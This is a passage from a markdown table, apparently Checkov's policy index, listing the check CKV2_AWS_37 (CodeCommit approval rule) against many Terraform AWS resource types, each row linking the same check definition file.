[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1797 | CKV2_AWS_37              | resource                         | aws_media_store_container                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1798 | CKV2_AWS_37              | resource                         | aws_media_store_container_policy                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1799 | CKV2_AWS_37              | resource                         | aws_medialive_channel                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1800 | CKV2_AWS_37              | resource                         | aws_medialive_input                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1801 | CKV2_AWS_37              | resource                         | aws_medialive_input_security_group                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1802 | CKV2_AWS_37              | resource                         | aws_medialive_multiplex                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1803 | CKV2_AWS_37              | resource                         | aws_medialive_multiplex_program                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1804 | CKV2_AWS_37              | resource                         | aws_memorydb_acl                                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1805 | CKV2_AWS_37              | resource                         | aws_memorydb_cluster                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1806 | CKV2_AWS_37              | resource                         | aws_memorydb_multi_region_cluster                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1807 | CKV2_AWS_37              | resource                         | aws_memorydb_parameter_group                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1808 | CKV2_AWS_37              | resource                         | aws_memorydb_snapshot                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1809 | CKV2_AWS_37              | resource                         | aws_memorydb_subnet_group                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1810 | CKV2_AWS_37              | resource                         | aws_memorydb_user                                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1811 | CKV2_AWS_37              | resource                         | aws_mq_broker                                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1812 | CKV2_AWS_37              | resource                         | aws_mq_configuration                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1813 | CKV2_AWS_37              | resource                         | aws_msk_cluster                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1814 | CKV2_AWS_37              | resource                         | aws_msk_cluster_policy                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1815 | CKV2_AWS_37              | resource                         | aws_msk_configuration                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1816 | CKV2_AWS_37              | resource                         | aws_msk_replicator                                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1817 | CKV2_AWS_37              | resource                         | aws_msk_scram_secret_association                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1818 | CKV2_AWS_37              | resource                         | aws_msk_serverless_cluster                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1819 | CKV2_AWS_37              | resource                         | aws_msk_single_scram_secret_association                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1820 | CKV2_AWS_37              | resource                         | aws_msk_vpc_connection                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1821 | CKV2_AWS_37              | resource                         | aws_mskconnect_connector                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1822 | CKV2_AWS_37              | resource                         | aws_mskconnect_custom_plugin                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1823 | CKV2_AWS_37              | resource                         | aws_mskconnect_worker_configuration                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1824 | CKV2_AWS_37              | resource                         | aws_mwaa_environment                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1825 | CKV2_AWS_37              | resource                         | aws_nat_gateway                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1826 | CKV2_AWS_37              | resource                         | aws_neptune_cluster                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1827 | CKV2_AWS_37              | resource                         | aws_neptune_cluster_endpoint                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1828 | CKV2_AWS_37              | resource                         | aws_neptune_cluster_instance                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1829 | CKV2_AWS_37              | resource                         | aws_neptune_cluster_parameter_group                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1830 | CKV2_AWS_37              | resource                         | aws_neptune_cluster_snapshot                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1831 | CKV2_AWS_37              | resource                         | aws_neptune_event_subscription                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1832 | CKV2_AWS_37              | resource                         | aws_neptune_global_cluster                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1833 | CKV2_AWS_37              | resource                         | aws_neptune_parameter_group                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1834 | CKV2_AWS_37              | resource                         | aws_neptune_subnet_group                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1835 | CKV2_AWS_37              | resource                         | aws_network_acl                                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1836 | CKV2_AWS_37              | resource                         | aws_network_acl_association                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1837 | CKV2_AWS_37              | resource                         | aws_network_acl_rule                                                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1838 | CKV2_AWS_37              | resource                         | aws_network_interface                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1839 | CKV2_AWS_37              | resource                         | aws_network_interface_attachment                                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1840 | CKV2_AWS_37              | resource                         | aws_network_interface_sg_attachment                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1841 | CKV2_AWS_37              | resource                         | aws_networkfirewall_firewall                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1842 | CKV2_AWS_37              | resource                         | aws_networkfirewall_firewall_policy                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1843 | CKV2_AWS_37              | resource                         | aws_networkfirewall_logging_configuration                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1844 | CKV2_AWS_37              | resource                         | aws_networkfirewall_resource_policy                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1845 | CKV2_AWS_37              | resource                         | aws_networkfirewall_rule_group                                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1846 | CKV2_AWS_37              | resource                         | aws_networkfirewall_tls_inspection_configuration                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1847 | CKV2_AWS_37              | resource                         | aws_networkmanager_attachment_accepter                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1848 | CKV2_AWS_37              | resource                         | aws_networkmanager_connect_attachment                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1849 | CKV2_AWS_37              | resource                         | aws_networkmanager_connect_peer                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1850 | CKV2_AWS_37              | resource                         | aws_networkmanager_connection                                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1851 | CKV2_AWS_37              | resource                         | aws_networkmanager_core_network                                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1852 | CKV2_AWS_37              | resource                         | aws_networkmanager_core_network_policy_attachment                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1853 | CKV2_AWS_37              | resource                         | aws_networkmanager_customer_gateway_association                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1854 | CKV2_AWS_37              | resource                         | aws_networkmanager_device                                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1855 | CKV2_AWS_37              | resource                         | aws_networkmanager_dx_gateway_attachment                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1856 | CKV2_AWS_37              | resource                         | aws_networkmanager_global_network                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1857 | CKV2_AWS_37              | resource                         | aws_networkmanager_link                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1858 | CKV2_AWS_37              | resource                         | aws_networkmanager_link_association                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1859 | CKV2_AWS_37              | resource                         | aws_networkmanager_site                                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1860 | CKV2_AWS_37              | resource                         | aws_networkmanager_site_to_site_vpn_attachment                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1861 | CKV2_AWS_37              | resource                         | aws_networkmanager_transit_gateway_connect_peer_association                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1862 | CKV2_AWS_37              | resource                         | aws_networkmanager_transit_gateway_peering                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1863 | CKV2_AWS_37              | resource                         | aws_networkmanager_transit_gateway_registration                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1864 | CKV2_AWS_37              | resource                         | aws_networkmanager_transit_gateway_route_table_attachment                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1865 | CKV2_AWS_37              | resource                         | aws_networkmanager_vpc_attachment                                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1866 | CKV2_AWS_37              | resource                         | aws_networkmonitor_monitor                                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1867 | CKV2_AWS_37              | resource                         | aws_networkmonitor_probe                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1868 | CKV2_AWS_37              | resource                         | aws_oam_link                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1869 | CKV2_AWS_37              | resource                         | aws_oam_sink                                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1870 | CKV2_AWS_37              | resource                         | aws_oam_sink_policy                                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1871 | CKV2_AWS_37              | resource                         | aws_opensearch_authorize_vpc_endpoint_access                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1872 | CKV2_AWS_37              | resource                         | aws_opensearch_domain                                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1873 | CKV2_AWS_37              | resource                         | aws_opensearch_domain_policy                                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1874 | CKV2_AWS_37              | resource                         | aws_opensearch_domain_saml_options                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1875 | CKV2_AWS_37              | resource                         | aws_opensearch_inbound_connection_accepter                                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1876 | CKV2_AWS_37              | resource                         | aws_opensearch_outbound_connection                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1877 | CKV2_AWS_37              | resource                         | aws_opensearch_package                                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1878 | CKV2_AWS_37              | resource                         | aws_opensearch_package_association                                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1879 | CKV2_AWS_37              | resource                         | aws_opensearch_vpc_endpoint                                                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1880 | CKV2_AWS_37              | resource                         | aws_opensearchserverless_access_policy                                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1881 | CKV2_AWS_37              | resource                         | aws_opensearchserverless_collection                                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1882 | CKV2_AWS_37              | resource                         | aws_opensearchserverless_lifecycle_policy                                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1883 | CKV2_AWS_37              | resource                         | aws_opensearchserverless_security_config                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1884 | CKV2_AWS_37              | resource                         | aws_opensearchserverless_security_policy                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1885 | CKV2_AWS_37              | resource                         | aws_opensearchserverless_vpc_endpoint                                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform               | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1886 | CKV2_AWS_37              | resource                         | aws_opsworks_application                                                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | 